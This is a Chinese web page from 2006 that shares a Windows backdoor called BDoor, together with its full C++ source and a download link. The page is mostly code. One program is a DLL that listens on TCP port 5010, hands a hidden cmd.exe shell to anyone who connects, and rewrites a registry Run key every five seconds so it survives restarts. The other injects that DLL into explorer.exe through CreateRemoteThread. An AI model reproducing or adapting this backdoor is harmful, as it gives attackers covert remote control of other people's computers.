分享
 
 
 

后门程序BDoor及源码

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

提交时间:2005-04-22

提交用户:ffantasyYD

工具分类:后门程序

运行平台:Windows

工具大小:316825 Bytes

文件MD5 :95e120d97967a3679dfdbd82985ea1ca

工具来源:http://www.uestc.edu.cn/web/default.aspx

这是本人考研后的第一个作品(其实是很简陋的一个东西),拿出来共享,算是纪念考研成功吧!开放源代码,让大虾们见笑了。

>> 下载 <<

// BDoor.cpp : Defines the entry point for the DLL application.

//

#include "stdafx.h"

#include "winsock2.h"

#pragma comment(lib,"ws2_32")

#define PORT 5010

#define REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

struct THREADPARAM

{

SOCKET sock;

HANDLE handle;

};

DWORD WINAPI ControlThread(void *no);

DWORD WINAPI BDoor(void *lp);

DWORD WINAPI RecvThread(void *lp);

DWORD WINAPI SendThread(void *lp);

DWORD WINAPI WriteReg(void *no);

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

{

::CreateThread(NULL,0,ControlThread,NULL,0,NULL);

break;

}

case DLL_PROCESS_DETACH:

{

break;

}

}

return TRUE;

}

DWORD WINAPI ControlThread(void *no)

{

CreateThread(NULL,0,WriteReg,NULL,0,NULL);

WSADATA wsaData;

SOCKET listenSock;

if(::WSAStartup(MAKEWORD(2,2),&wsaData)!=0)

{

return -1;

}

if((listenSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

return -1;

}

sockaddr_in localAddr,inAddr;

int addrLen=sizeof(inAddr);

localAddr.sin_addr.S_un.S_addr=0;

localAddr.sin_family=AF_INET;

localAddr.sin_port=htons(PORT);

if(bind(listenSock,(sockaddr *)&localAddr,sizeof(localAddr))==SOCKET_ERROR)

{

closesocket(listenSock);

return -1;

}

listen(listenSock,5);

while(TRUE)

{

SOCKET acceptSock=accept(listenSock,(sockaddr *)&inAddr,&addrLen);

DWORD ID;

CreateThread(NULL,0,BDoor,&acceptSock,0,&ID);

Sleep(100);

}

closesocket(listenSock);

::WSACleanup();

}

DWORD WINAPI WriteReg(void *no)

{

char sysPath[MAX_PATH]={0};

int ret=::GetSystemDirectory(sysPath,MAX_PATH);

if(sysPath[ret-1]!='\\')

strcat(sysPath,"\\");

strcat(sysPath,"DllInjection.exe");

int len=strlen(sysPath);

while(TRUE)

{

HKEY hKey;

if(::RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&hKey)!=ERROR_SUCCESS)

continue;

::RegSetValueEx(hKey,"sysDll",0,REG_SZ,(BYTE *)sysPath,len);

::RegCloseKey(hKey);

Sleep(5000);

}

return 0;

}

DWORD WINAPI BDoor(void *lp)

{

SOCKET sock=*((SOCKET *)lp);

HANDLE hCmdOut,hCmdIn,hRead,hWrite;

SECURITY_ATTRIBUTES sec={0};

sec.nLength=sizeof(sec);

sec.lpSecurityDescriptor=NULL;

sec.bInheritHandle=TRUE;

CreatePipe(&hCmdIn,&hWrite,&sec,0);

CreatePipe(&hRead,&hCmdOut,&sec,0);

char cmdDir[MAX_PATH]={0};

::GetSystemDirectory(cmdDir,MAX_PATH);

if(cmdDir[strlen(cmdDir)-1]!='\\')

strcat(cmdDir,"\\");

strcat(cmdDir,"cmd.exe");

STARTUPINFO startUpInfo={0};

startUpInfo.cb=sizeof(startUpInfo);

startUpInfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

startUpInfo.wShowWindow=SW_HIDE;

startUpInfo.hStdError=startUpInfo.hStdOutput=hCmdOut;

startUpInfo.hStdInput=hCmdIn;

PROCESS_INFORMATION processInfo={0};

int ret=CreateProcess(cmdDir,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startUpInfo,&processInfo);

if(ret==0)

{

return -1;

}

CloseHandle(hCmdIn);

CloseHandle(hCmdOut);

DWORD ID1,ID2;

HANDLE hRecvThread,hSendThread;

THREADPARAM recvParam={0},sendParam={0};

recvParam.sock=sock;

recvParam.handle=hWrite;

hRecvThread=CreateThread(NULL,0,RecvThread,&recvParam,0,&ID1);

sendParam.sock=sock;

sendParam.handle=hRead;

hSendThread=CreateThread(NULL,0,SendThread,&sendParam,0,&ID2);

ULONG code;

::WaitForSingleObject(hRecvThread,INFINITE);

::GetExitCodeThread(hSendThread,&code);

::TerminateThread(hSendThread,code);

::GetExitCodeProcess(processInfo.hProcess,&code);

::TerminateProcess(processInfo.hProcess,code);

closesocket(sock);

CloseHandle(hWrite);

CloseHandle(hRead);

return 0;

}

DWORD WINAPI RecvThread(void *lp)

{

char cmd[256]={0};

THREADPARAM param=*((THREADPARAM *)lp);

while(1)

{

char temp[2]={0};

int ret=recv(param.sock,temp,1,0);

if(ret==0)

{

break;

}

else if(ret==1)

{

send(param.sock,temp,1,0);

strcat(cmd,temp);

if(temp[0]=='\n')

{

if(_stricmp(cmd,"exit\r\n")==0)

{

break;

}

ULONG len;

::WriteFile(param.handle,cmd,strlen(cmd),&len,NULL);

memset(cmd,0,256);

}

}

}

return 0;

}

DWORD WINAPI SendThread(void *lp)

{

THREADPARAM param=*((THREADPARAM *)lp);

char buf[1024]={0};

while(1)

{

ULONG len=0;

::PeekNamedPipe(param.handle,buf,1024,&len,NULL,NULL);

if(len>0)

{

::ReadFile(param.handle,buf,1024,&len,NULL);

send(param.sock,buf,len,0);

memset(buf,0,1024);

}

Sleep(100);

}

return 0;

}

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

// DllInjection.cpp : Defines the entry point for the application.

//

#include "stdafx.h"

#include "windows.h"

#include "stdlib.h"

#include "tlhelp32.h"

#include "io.h"

long GetProcessID(char *processName);

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

// TODO: Place code here.

Sleep(5000);

long ID=GetProcessID("explorer");

if(ID==-1)

return -1;

HINSTANCE hDll;

HINSTANCE (* pProc)(LPCTSTR);

DWORD (WINAPI * pThreadProc)(void *);

if((hDll=::LoadLibrary("kernel32.dll"))==NULL)

return -1;

if((pProc=(HINSTANCE (*)(LPCTSTR))::GetProcAddress(hDll,"LoadLibraryA"))==NULL)

return -1;

pThreadProc=(DWORD (WINAPI *)(void *))pProc;

HANDLE hProcess=::OpenProcess(PROCESS_ALL_ACCESS,TRUE,ID);

if(hProcess==NULL)

return -1;

char pDllPath[MAX_PATH]={0};

char *pRemoteAddr=NULL;

int ret=::GetSystemDirectory(pDllPath,MAX_PATH);

if(pDllPath[ret-1]!='\\')

strcat(pDllPath,"\\");

strcat(pDllPath,"BDoor.dll");

if(::_access(pDllPath,0)==-1)

return -1;

pRemoteAddr=(char*)::VirtualAllocEx(hProcess,NULL,strlen(pDllPath)+1,MEM_COMMIT,PAGE_READWRITE);

if(pRemoteAddr==NULL)

return -1;

ret=::WriteProcessMemory(hProcess,pRemoteAddr,pDllPath,strlen(pDllPath),NULL);

if(ret==0)

return -1;

HANDLE hRemoteThread=::CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteAddr,0,NULL);

Sleep(100);

::VirtualFreeEx(hProcess,pRemoteAddr,strlen(pDllPath)+1,MEM_DECOMMIT);

::CloseHandle(hProcess);

return 0;

}

long GetProcessID(char *processName)

{

HANDLE hSnapshot;

PROCESSENTRY32 pe32={0};

BOOL fRet;

hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hSnapshot==NULL)

return -1;

pe32.dwSize=sizeof(PROCESSENTRY32);

fRet=Process32First(hSnapshot,&pe32);

if(!fRet)

return -1;

int g=0;

char drive[_MAX_DRIVE]={0};

char dir[_MAX_DIR]={0};

char fname[_MAX_FNAME]={0};

char ext[_MAX_EXT]={0};

do

{

_splitpath(pe32.szExeFile,drive,dir,fname,ext);

if(_stricmp(processName,fname)==0)

{

g=1;

break;

}

}while(Process32Next(hSnapshot,&pe32));

if(g!=1)

return -1;

return pe32.th32ProcessID;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有